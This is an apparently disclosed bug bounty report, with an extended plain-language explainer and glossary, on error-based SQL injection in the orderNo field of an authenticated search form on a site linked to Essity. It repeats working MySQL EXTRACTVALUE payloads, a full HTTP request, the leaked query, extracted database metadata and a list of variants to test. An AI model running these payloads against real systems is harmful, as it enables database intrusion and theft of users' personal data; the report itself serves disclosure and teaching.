error based SQL injection on ████████
An authenticated search endpoint built its SQL query by pasting the user-supplied order number straight into the statement, so a single quote broke the query and error-based injection could read database details. An attacker with a low-privilege account could extract the database name, user, hostname, version and table names, and potentially steal user PII.
- Triaged in 10 hours
- Fixed in 6 days
- Disclosed after 7 days
##Summary:
Any attacker with a low privilege account can exploit an authenticated boolean/timebased/error based SQL injection to extract sensitive data or execute malicious sql query note: since essity is an openscope, i assume this domain is related to essity because the domain "████████" is linked to ████████ a brand owned by Essity
##Steps To Reproduce: 1 - create a low privilege account on "████████" 2 - execute a POST request at "████████", the vulnerable parameter will be "orderNo" 3 - add a single quote to see an SQL query error with details 4 - execute the following payload to test for SQL injection
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+version()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+user()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@hostname),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@datadir),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_schema+FROM+information_schema.tables+WHERE+table_name='orders'+LIMIT+0,1),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+1,1),0x7e))--+-
full request:
POST /doSearch HTTP/1.1
Host: ████████
Cookie: JSESSIONID=cookie
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="99", "Brave";v="157", "Chromium";v="157"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36
Origin: https://████████
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: ████████
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Priority: u=0, i
Connection: keep-alive
orderNo=3392'+and+1=1--+-&jobNo=&custDetails=&fromDate=&toDate=&searchType=NO_CANCEL&button=Search
sql error:
StatementCallback; bad SQL grammar [SELECT op.type AS order_item_type, u.type AS user_type, o.id, o.fullname, o.title AS sen_title, o.position AS pos, o.company AS comp, o.address1 AS addr1, o.address2 AS addr2, o.user_id, o.bsp, o.barcode, o.dpid, o.twins_key, o.given_names AS sen_first_name, o.surname AS sen_surname, o.suburb AS sub, o.state AS sta, o.pcode AS pc, o.country AS cont, o.note, o.status, o.order_type, o.order_for_someone, o.created_at, o.lodged_at, o.print_datetime, o.est_weight, o.actual_weight, o.lodgement_details, o.tracking_no, o.valid_address, o.mail_type, o.source, o.job_no, o.reject_reason, o.postage_cost, o.postage_sell, o.processing_sell, op.*, p.*, u.* FROM `████████`.`orders` o LEFT JOIN `████████`.`order_products` op ON o.id = op.order_id LEFT JOIN `████████`.`products` p ON op.product_id = p.id LEFT JOIN `████████`.`users` u ON o.user_id = u.id WHERE o.status != 'CANCELED' AND o.id LIKE '%'%' AND o.user_id = 8579 ORDER BY o.id]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' AND o.user_id = 8579 ORDER BY o.id' at line 1
extracted data from error based SQLi:
db name: ████████
user: ████████
hostname: ████████
version: 8.4.11-0ubuntu0.26.04.1
extracted tables: au_localities, black_list_addresses, config, email_templates ...
Proof of concept:
████████
████████
████████
Impact
Any attacker with a low privilege account can exploit this error or time based SQL injection to extract sensitive data or perform malicious SQL query like users PII theft on ████████
Context
The target is a web application on a domain that the researcher ties to Essity through a brand owned by the company. The report notes that Essity runs an open scope and that the domain in question is linked to that brand, which is why it was treated as in scope. The specific host, the brand name and the database identifiers are redacted throughout the report.
The feature under test is a search form. The application exposes a POST /doSearch endpoint that accepts form-encoded fields including orderNo, jobNo, custDetails, fromDate, toDate, searchType and button. The leaked query joins an orders table to order_products, products and users. The generated query ends with o.user_id = 8579, a per-user filter.
Setup
The only precondition the report states is a low privilege account on the affected application. The researcher created such an account and then used the search form while authenticated. The session is carried in a JSESSIONID cookie, which indicates a Java servlet stack. No specific tooling is named beyond sending the requests by hand; the payloads are URL-encoded and placed directly in the form body.
Finding it
The researcher focused on the orderNo parameter of the search request. Adding a single quote to the value produced a database error that was returned to the client, including the full SQL statement and the MySQL exception text. That error message is the signal: the value is concatenated into the query rather than bound as a parameter, and the application leaks the query and the driver error back to the user.
Exploitation
Step 1: Create a low privilege account
A normal account is enough. The injection does not require administrative rights, because the query is filtered by the caller's own user_id and the vulnerable parameter is reachable from the ordinary search page.
Step 2: Send a POST request to the search endpoint
The vulnerable parameter is orderNo. The full request captured by the researcher looks like this:
POST /doSearch HTTP/1.1
Host: ████████
Cookie: JSESSIONID=[redacted]
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="99", "Brave";v="157", "Chromium";v="157"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
Origin: https://████████
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: ████████
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Priority: u=0, i
Connection: keep-alive
orderNo=3392'+and+1=1--+-&jobNo=&custDetails=&fromDate=&toDate=&searchType=NO_CANCEL&button=Search
The body carries the injection in orderNo; the other fields are empty and searchType=NO_CANCEL selects the search mode. The + characters are URL-encoded spaces, so the value decodes to 3392' and 1=1-- -.
Step 3: Trigger the SQL error
Appending a single quote to the order number breaks out of the string literal and produces a syntax error. The response contains the statement and the driver exception:
StatementCallback; bad SQL grammar [SELECT op.type AS order_item_type, u.type AS user_type, o.id, o.fullname, o.title AS sen_title, o.position AS pos, o.company AS comp, o.address1 AS addr1, o.address2 AS addr2, o.user_id, o.bsp, o.barcode, o.dpid, o.twins_key, o.given_names AS sen_first_name, o.surname AS sen_surname, o.suburb AS sub, o.state AS sta, o.pcode AS pc, o.country AS cont, o.note, o.status, o.order_type, o.order_for_someone, o.created_at, o.lodged_at, o.print_datetime, o.est_weight, o.actual_weight, o.lodgement_details, o.tracking_no, o.valid_address, o.mail_type, o.source, o.job_no, o.reject_reason, o.postage_cost, o.postage_sell, o.processing_sell, op.*, p.*, u.* FROM `████████`.`orders` o LEFT JOIN `████████`.`order_products` op ON o.id = op.order_id LEFT JOIN `████████`.`products` p ON op.product_id = p.id LEFT JOIN `████████`.`users` u ON o.user_id = u.id WHERE o.status != 'CANCELED' AND o.id LIKE '%'%' AND o.user_id = 8579 ORDER BY o.id]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' AND o.user_id = 8579 ORDER BY o.id' at line 1
The leaked statement shows exactly where the input lands: o.id LIKE '%'%'. The value is wrapped in % wildcards inside a LIKE clause, and the quote the researcher supplied closes the literal early. The trailing AND o.user_id = 8579 confirms the per-user filter, and the MySQLSyntaxErrorException confirms a MySQL backend behind a Java StatementCallback.
Step 4: Extract data with error-based payloads
With the error channel confirmed, the researcher used EXTRACTVALUE to force the result of a subquery into an error message. The payloads, as written in the report, are:
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+version()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+user()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@hostname),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@datadir),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_schema+FROM+information_schema.tables+WHERE+table_name='orders'+LIMIT+0,1),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+1,1),0x7e))--+-
Each payload closes the LIKE literal, appends AND EXTRACTVALUE(...), and comments out the rest of the query with -- -. EXTRACTVALUE takes an XML fragment and a path; when the path is malformed, MySQL raises an error containing the path. Wrapping the subquery in CONCAT(0x7e, ..., 0x7e) puts a tilde on each side of the value, so the error text carries the extracted string between two tildes. The first four payloads read the database version, the current database user, the server hostname and the data directory. The last two query information_schema.tables to recover the schema that owns the orders table and then enumerate table names in the current database.
The researcher reports the following data as extracted through the error-based technique:
db name: ████████
user: ████████
hostname: ████████
version: 8.4.11-0ubuntu0.26.04.1
extracted tables: au_localities, black_list_addresses, config, email_templates ...
The table list includes au_localities, black_list_addresses, config and email_templates. The report also states that the same parameter supports boolean and time-based injection, though the demonstrated extraction uses the error channel.
Root cause
The orderNo value is concatenated into the SQL statement inside a LIKE clause, as the leaked query shows: o.id LIKE '%'%'. Because the input is not bound as a parameter, a quote changes the structure of the statement. The application then returns the full query and the MySQL exception to the client, which turns a syntax error into a reliable data extraction channel through EXTRACTVALUE.
The per-user filter (o.user_id = 8579) is appended after the injected value, but it does not prevent extraction: the payload comments out the remainder of the query, and the subqueries in the EXTRACTVALUE calls read from information_schema and from server variables rather than from the filtered rows. The report does not describe any input validation, WAF or escaping layer that would have stopped the payloads.
Impact
Any attacker holding a low privilege account can exploit the injection to extract sensitive data or to run malicious SQL. The researcher frames the concrete risk as theft of users' personally identifiable information. The severity recorded for the report is critical, with a CVSS score of 9.4. The report does not state which records were actually retrieved beyond the metadata listed above.
Fix
The change that addresses the root cause is to bind orderNo as a parameter in a prepared statement instead of concatenating it into the LIKE clause, and to stop returning database error text and SQL statements to the client. Both are recommendations rather than changes documented in the report.
Variants to test
- Other search fields on the same form: send a single quote in
jobNo,custDetails,fromDateortoDateand look for a SQL error or a change in response. A positive result is a database exception or a different result set for a tautology versus a contradiction. - Other endpoints that take an order number: the same
orderNovalue may be reused in detail, print or tracking views. A positive result is the sameLIKE '%...%'pattern appearing in a leaked statement. - Numeric contexts: if a parameter is placed unquoted in the query, try
AND 1=1andAND 1=2and compare responses. A positive result is a stable difference in rows or status. - Error-based extraction on MySQL: where errors are reflected, try
EXTRACTVALUEorUPDATEXMLwith aCONCATof a marker and a subquery. A positive result is the marker and the subquery output appearing in the error text. - Time-based confirmation where errors are suppressed: use a
SLEEPin a conditional subquery and measure response time against a false condition. A positive result is a consistent delay only when the condition is true.
Hunting notes
This bug sits in a search form on a Java application that builds SQL by string concatenation and wraps user input in LIKE '%...%'. During recon, the signals are a JSESSIONID cookie, form-encoded POST search endpoints with fields such as order numbers and date ranges, and error pages that echo the statement or the driver exception. A single quote in each field is usually enough to tell whether the value reaches the query.
The researcher demonstrated impact by extracting the database version, user, hostname, data directory and table names. That combination, a low privilege account plus readable schema and configuration data, is what supports the critical rating.
What happened, in plain words
A security researcher found a way to make a website's search form read out information from the database that sits behind it. The website belongs to a brand that the researcher ties to Essity, and because Essity runs an open scope (a bug bounty programme where a wide range of the company's websites are fair game), the researcher treated the site as in scope. The specific host, the brand name and the database details are hidden in the report.
The trick is called SQL injection. To understand it, imagine a librarian who takes a written request slip and reads it out loud to a colleague who fetches the book. If you write "the blue book" on the slip, all is well. But if you write "the blue book, and also please read me the list of everyone's addresses", the librarian may simply read the whole thing out, because nothing on the slip tells them where your request ends and their instructions begin. A database is like that colleague: it follows instructions written in a language called SQL, and if a website pastes what you typed straight into an instruction without marking it as "just text", you can add instructions of your own.
The researcher needed only an ordinary, low privilege account, the kind anyone can register. From the normal search page, they put a special character into the order number field, and the site helpfully showed back the entire database instruction plus an error message. That error message became a channel for pulling out the database version, the database user, the server's hostname, the data directory and a list of table names. The report rates this critical, with a CVSS score of 9.4.
Context
The target is a web application on a domain that the researcher links to Essity through a brand the company owns. The report notes that Essity runs an open scope and that the domain is connected to that brand, which is why it was treated as in scope. The host, the brand name and the database identifiers are redacted throughout.
The feature under test is a search form. The application exposes a POST /doSearch endpoint. An endpoint is simply a particular address on a website that does one job, like a counter in a shop: you go to this counter to search, that counter to log in. POST is one of the ways a browser can talk to a server: instead of asking for a page (that is GET), it sends a bundle of data along with the request, which is what forms do when you press a button.
The form accepts several fields, sent in a format called form-encoded, which is just a long line of name=value pairs joined by &. The fields are orderNo, jobNo, custDetails, fromDate, toDate, searchType and button. The orderNo field is one of the form's inputs. Behind the scenes, the server builds a SQL query against an orders table joined to order_products, products and users. A table is like a spreadsheet inside the database; a join is a way of combining rows from several spreadsheets using a shared value, here the user ID that links an order to the person who placed it.
The generated query ends with o.user_id = 8579, a per-user filter.
Setup
The only precondition the report states is a low privilege account on the affected application. The researcher created such an account and then used the search form while logged in.
The session is carried in a JSESSIONID cookie. A cookie is a small piece of text that a website asks your browser to store and send back with every request, so the server can recognise you between page loads. JSESSIONID is the name Java web servers traditionally give to the cookie that identifies your session, which tells us the site is built on Java servlet technology. No specific tooling is named beyond sending the requests by hand; the payloads are URL-encoded and placed directly in the form body. URL encoding is the convention that lets special characters travel safely inside a web address or form: a space becomes + or %20, and so on.
Finding it
The researcher focused on the orderNo parameter of the search request. A parameter is simply one of the named values in a request, like the fields on a paper form. Adding a single quote to the value produced a database error that was returned to the client, including the full SQL statement and the MySQL exception text. MySQL is a popular database program; an exception is the program's way of saying "I could not do this, and here is why".
That error message is the signal. It shows two problems at once. First, the value is concatenated into the query rather than bound as a parameter: the site glues your text into the instruction instead of handing it over separately as data. Second, the application leaks the query and the driver error back to the user, which is like a shop assistant reading out the whole internal instruction sheet when a form is filled in wrongly.
Exploitation
Step 1: Create a low privilege account
A normal account is enough. The injection does not require administrative rights, because the query is filtered by the caller's own user_id and the vulnerable parameter is reachable from the ordinary search page. In plain terms: you do not need to be staff to reach the counter where the mistake happens.
Step 2: Send a POST request to the search endpoint
The vulnerable parameter is orderNo. The full request captured by the researcher looks like this:
POST /doSearch HTTP/1.1
Host: ████████
Cookie: JSESSIONID=[redacted]
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="99", "Brave";v="157", "Chromium";v="157"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
Origin: https://████████
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: ████████
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Priority: u=0, i
Connection: keep-alive
orderNo=3392'+and+1=1--+-&jobNo=&custDetails=&fromDate=&toDate=&searchType=NO_CANCEL&button=Search
Line by line, in plain words:
POST /doSearch HTTP/1.1is the request line: the method (POST), the path on the server (/doSearch) and the version of the web protocol being spoken (HTTP/1.1).Host: ████████names the website the request is for. One server can host many sites, so the browser says which one it wants.Cookie: JSESSIONID=[redacted]carries the session identifier, the badge that tells the server who is logged in. It is redacted here because it is a secret: anyone holding it could act as that user.Content-Length: 218says how many bytes of body follow, so the server knows where the body ends.Cache-Control: max-age=0asks that no stored copy be reused; the browser wants a fresh answer.- The
Sec-Ch-Ua,Sec-Ch-Ua-MobileandSec-Ch-Ua-Platformlines are hints the browser volunteers about itself: which browser engine and version, whether it is a mobile device, and which operating system. Here they say Brave 157 on Chromium 157, on Windows. Upgrade-Insecure-Requests: 1says the browser would prefer an encrypted (HTTPS) version of the page if one exists.Content-Type: application/x-www-form-urlencodedannounces the format of the body: thename=value&name=valuestyle used by ordinary HTML forms.User-Agentis the browser's self-description, the same kind of string every browser sends.Origin: https://████████tells the server which site the request is coming from, used by browsers for security checks.Acceptlists the kinds of response the browser can handle, from HTML pages to several image formats.Sec-Gpc: 1is the browser saying the user has asked not to be tracked.- The
Sec-Fetch-*lines describe the context of the request: same site, a navigation (a page load rather than a background fetch), started by the user, and destined to become a document. Referer: ████████is the page the request was sent from.Accept-Encodinglists the compression formats the browser understands, so the server can shrink the response.Accept-Language: en;q=0.9says English is preferred.Priority: u=0, iis a hint about how urgent the request is.Connection: keep-aliveasks to keep the network connection open for further requests.- The blank line separates the headers from the body.
- The body is the form data:
orderNo=3392'+and+1=1--+-&jobNo=&custDetails=&fromDate=&toDate=&searchType=NO_CANCEL&button=Search.
The body carries the injection in orderNo; the other fields are empty and searchType=NO_CANCEL selects the search mode. The + characters are URL-encoded spaces, so the value decodes to 3392' and 1=1-- -. A tautology is a statement that is always true, like "one equals one"; it is used to check whether your text is being treated as part of the instruction, because the query still runs normally when the condition is true.
Step 3: Trigger the SQL error
Appending a single quote to the order number breaks out of the string literal and produces a syntax error. A string literal is text enclosed in quotes inside a SQL instruction; the quote you add closes the site's own opening quote early, so the rest of the instruction no longer makes sense to the database. The response contains the statement and the driver exception:
StatementCallback; bad SQL grammar [SELECT op.type AS order_item_type, u.type AS user_type, o.id, o.fullname, o.title AS sen_title, o.position AS pos, o.company AS comp, o.address1 AS addr1, o.address2 AS addr2, o.user_id, o.bsp, o.barcode, o.dpid, o.twins_key, o.given_names AS sen_first_name, o.surname AS sen_surname, o.suburb AS sub, o.state AS sta, o.pcode AS pc, o.country AS cont, o.note, o.status, o.order_type, o.order_for_someone, o.created_at, o.lodged_at, o.print_datetime, o.est_weight, o.actual_weight, o.lodgement_details, o.tracking_no, o.valid_address, o.mail_type, o.source, o.job_no, o.reject_reason, o.postage_cost, o.postage_sell, o.processing_sell, op.*, p.*, u.* FROM `████████`.`orders` o LEFT JOIN `████████`.`order_products` op ON o.id = op.order_id LEFT JOIN `████████`.`products` p ON op.product_id = p.id LEFT JOIN `████████`.`users` u ON o.user_id = u.id WHERE o.status != 'CANCELED' AND o.id LIKE '%'%' AND o.user_id = 8579 ORDER BY o.id]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' AND o.user_id = 8579 ORDER BY o.id' at line 1
What this block is telling us, piece by piece:
StatementCallback; bad SQL grammar [...]is the Java framework's wrapper around the failure: it says the database rejected the instruction.SELECT ... FROM ...is the instruction itself.SELECTmeans "fetch these columns"; the long list after it names the fields to return, with short aliases such aso.idandu.typeso the rest of the query can refer to them briefly.FROM████████.ordersosays the main table isorders, in a database whose name is redacted, and gives it the nicknameo.- The three
LEFT JOINclauses pull inorder_products(nicknamedop),products(p) andusers(u), matching rows on shared IDs. ALEFT JOINkeeps every row from the left-hand table even when no match exists on the right. WHERE o.status != 'CANCELED'skips cancelled orders.AND o.id LIKE '%'%'is where the user's text landed.LIKEis a pattern match, and%means "any characters", so the site wraps your input in wildcards to search for it anywhere in the order ID. The extra quote in the middle is the researcher's.AND o.user_id = 8579is the per-user filter: only the logged-in user's orders.ORDER BY o.idsorts the results.nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: ...is the database driver's own message, saying the syntax is wrong near'%' AND o.user_id = 8579 ORDER BY o.id'.
The leaked statement shows exactly where the input lands: o.id LIKE '%'%'. The value is wrapped in % wildcards inside a LIKE clause, and the quote the researcher supplied closes the literal early. The trailing AND o.user_id = 8579 confirms the per-user filter, and the MySQLSyntaxErrorException confirms a MySQL backend behind a Java StatementCallback.
Step 4: Extract data with error-based payloads
With the error channel confirmed, the researcher used EXTRACTVALUE to force the result of a subquery into an error message. A subquery is a query nested inside another query, like a question asked inside a question. EXTRACTVALUE is a MySQL function meant for XML data: it takes an XML fragment and a path into it, and if the path is malformed it raises an error that quotes the path. By making the "path" be the answer to a subquery, the researcher turns the error message into a delivery channel for data. The payloads, as written in the report, are:
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+version()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+user()),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@hostname),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+@@datadir),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_schema+FROM+information_schema.tables+WHERE+table_name='orders'+LIMIT+0,1),0x7e))--+-
3392'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+1,1),0x7e))--+-
Each payload follows the same shape, so once you understand one you understand all six:
3392'is the order number followed by a quote, which closes the site's string literal early.+AND+is a URL-encodedAND, adding a condition to the query.EXTRACTVALUE(1, ...)is the function that will fail on purpose and quote its second argument in the error.CONCAT(0x7e, ..., 0x7e)glues a tilde character on each side of the value.0x7eis the hexadecimal code for the tilde~, written that way to avoid quoting problems. The tildes act as bookends, so the extracted text is easy to spot in the error message.(SELECT version())asks the database for its version;(SELECT user())for the current database user;(SELECT @@hostname)for the server's hostname;(SELECT @@datadir)for the directory where the database keeps its files. The@@prefix marks a system variable, a built-in setting of the database server.(SELECT table_schema FROM information_schema.tables WHERE table_name='orders' LIMIT 0,1)looks ininformation_schema, a built-in catalogue that describes every table in the database, to find which schema (which database) owns theorderstable.LIMIT 0,1means "skip zero rows, return one".(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)asks for the second table name in the current database, sincedatabase()returns the name of the database in use.--+-is a URL-encoded SQL comment:-- -tells the database to ignore everything after it, which removes the site's own trailingAND o.user_id = 8579 ORDER BY o.idfrom the instruction.
So each payload closes the site's quote, adds a condition that will fail in a way that echoes data, and comments out the rest of the query. The first four payloads read the database version, the current database user, the server hostname and the data directory. The last two query information_schema.tables to recover the schema that owns the orders table and then enumerate table names in the current database.
The researcher reports the following data as extracted through the error-based technique:
db name: ████████
user: ████████
hostname: ████████
version: 8.4.11-0ubuntu0.26.04.1
extracted tables: au_localities, black_list_addresses, config, email_templates ...
The table list includes au_localities, black_list_addresses, config and email_templates. The report also states that the same parameter supports boolean and time-based injection, though the demonstrated extraction uses the error channel. Boolean injection means asking the database true/false questions and watching how the page changes; time-based injection means asking a question that makes the database pause when the answer is true, and measuring how long the reply takes.
Proof of concept
The report's proof of concept section contains only redacted placeholders, so there is nothing further to show from it.
Root cause
The orderNo value is concatenated into the SQL statement inside a LIKE clause, as the leaked query shows: o.id LIKE '%'%'. Because the input is not bound as a parameter, a quote changes the structure of the statement. Binding a parameter means handing the value to the database separately from the instruction, so the database always treats it as data and never as code, like putting a note in a sealed envelope rather than reading it into the instruction.
The application then returns the full query and the MySQL exception to the client, which turns a syntax error into a reliable data extraction channel through EXTRACTVALUE. The per-user filter (o.user_id = 8579) is appended after the injected value, but it does not prevent extraction: the payload comments out the remainder of the query, and the subqueries in the EXTRACTVALUE calls read from information_schema and from server variables rather than from the filtered rows. The report does not describe any input validation, WAF or escaping layer that would have stopped the payloads. A WAF, or web application firewall, is a filter that inspects incoming requests and blocks ones that look malicious; escaping is the practice of neutralising special characters in text before using it.
Impact
Any attacker holding a low privilege account can exploit the injection to extract sensitive data or to run malicious SQL. The researcher frames the concrete risk as theft of users' personally identifiable information. PII, personally identifiable information, is any data that can identify a real person, such as a name, address or phone number. The severity recorded for the report is critical, with a CVSS score of 9.4. CVSS is a standard scoring system for the seriousness of a vulnerability, where higher numbers mean worse. The report does not state which records were actually retrieved beyond the metadata listed above.
Fix
The change that addresses the root cause is to bind orderNo as a parameter in a prepared statement instead of concatenating it into the LIKE clause, and to stop returning database error text and SQL statements to the client. A prepared statement is a pre-built instruction with blanks that are filled in with data afterwards, so the data can never change the instruction's shape. Both are recommendations rather than changes documented in the report.
Variants to test
- Other search fields on the same form: send a single quote in
jobNo,custDetails,fromDateortoDateand look for a SQL error or a change in response. A positive result is a database exception or a different result set for a tautology versus a contradiction. - Other endpoints that take an order number: the same
orderNovalue may be reused in detail, print or tracking views. A positive result is the sameLIKE '%...%'pattern appearing in a leaked statement. - Numeric contexts: if a parameter is placed unquoted in the query, try
AND 1=1andAND 1=2and compare responses. A positive result is a stable difference in rows or status. - Error-based extraction on MySQL: where errors are reflected, try
EXTRACTVALUEorUPDATEXMLwith aCONCATof a marker and a subquery. A positive result is the marker and the subquery output appearing in the error text. - Time-based confirmation where errors are suppressed: use a
SLEEPin a conditional subquery and measure response time against a false condition. A positive result is a consistent delay only when the condition is true.
Hunting notes
This bug sits in a search form on a Java application that builds SQL by string concatenation and wraps user input in LIKE '%...%'. During recon, the signals are a JSESSIONID cookie, form-encoded POST search endpoints with fields such as order numbers and date ranges, and error pages that echo the statement or the driver exception. Recon means the early exploration phase, looking around a target before attacking anything. A single quote in each field is usually enough to tell whether the value reaches the query.
The researcher demonstrated impact by extracting the database version, user, hostname, data directory and table names. That combination, a low privilege account plus readable schema and configuration data, is what supports the critical rating.
Glossary
- API: a defined way for one piece of software to talk to another, like a service counter with set questions and answers.
- Boolean injection: a SQL injection technique that asks the database true/false questions and infers answers from how the page changes.
- Cookie: a small piece of text a website stores in your browser and receives back on each request, used to recognise you.
- CVSS: a standard scoring system for the severity of a security vulnerability; higher is worse.
- Endpoint: a specific address on a web application that performs one function, such as a search or login.
- Error-based injection: a SQL injection technique that makes the database put data into an error message that the site shows back to you.
- Escaping: neutralising special characters in text so they cannot change the meaning of an instruction.
- EXTRACTVALUE: a MySQL function for reading values out of XML; misused here to raise errors that quote a subquery's result.
- Form-encoded: a way of packing form fields into a request body as
name=valuepairs joined by&. - GET / POST: two HTTP methods;
GETasks for a page,POSTsends data along with the request. - HTTP: the protocol browsers and web servers use to exchange requests and responses.
- information_schema: a built-in MySQL catalogue describing the databases, tables and columns on the server.
- Java servlet: a Java program that handles web requests on a server;
JSESSIONIDis its traditional session cookie name. - Join: combining rows from two or more database tables using a shared value.
- JSESSIONID: the cookie name Java web applications use to identify a logged-in session.
- LIKE: a SQL operator for pattern matching, where
%stands for any characters. - Low privilege account: an ordinary user account without administrative rights.
- MySQL: a widely used open-source database program.
- Open scope: a bug bounty programme setting where a broad range of a company's assets is in scope for testing.
- Parameter: a named value sent in a request, like a field on a form.
- Payload: the crafted input an attacker sends to trigger a vulnerability.
- PII: personally identifiable information, data that can identify a real person.
- Prepared statement: a pre-built database instruction with blanks filled in by data afterwards, so data cannot alter the instruction.
- Recon: the exploration phase of security testing, gathering information about a target.
- Redacted: hidden or blacked out, usually to protect sensitive details.
- SQL: the language used to ask questions of and give instructions to a relational database.
- SQL injection: a vulnerability where user input is pasted into a SQL instruction, letting the user add instructions of their own.
- String literal: text enclosed in quotes inside a SQL instruction.
- Subquery: a query nested inside another query.
- Tautology: a statement that is always true, such as
1=1, used to test whether input reaches an instruction. - Time-based injection: a SQL injection technique that makes the database pause conditionally and infers answers from response times.
- URL encoding: the convention for representing special characters safely in web addresses and form data, e.g. a space as
+or%20. - User-Agent: the header in which a browser describes itself.
- WAF: web application firewall, a filter that inspects requests and blocks ones that look malicious.
- XML: a text format for structured data, made of tags and values.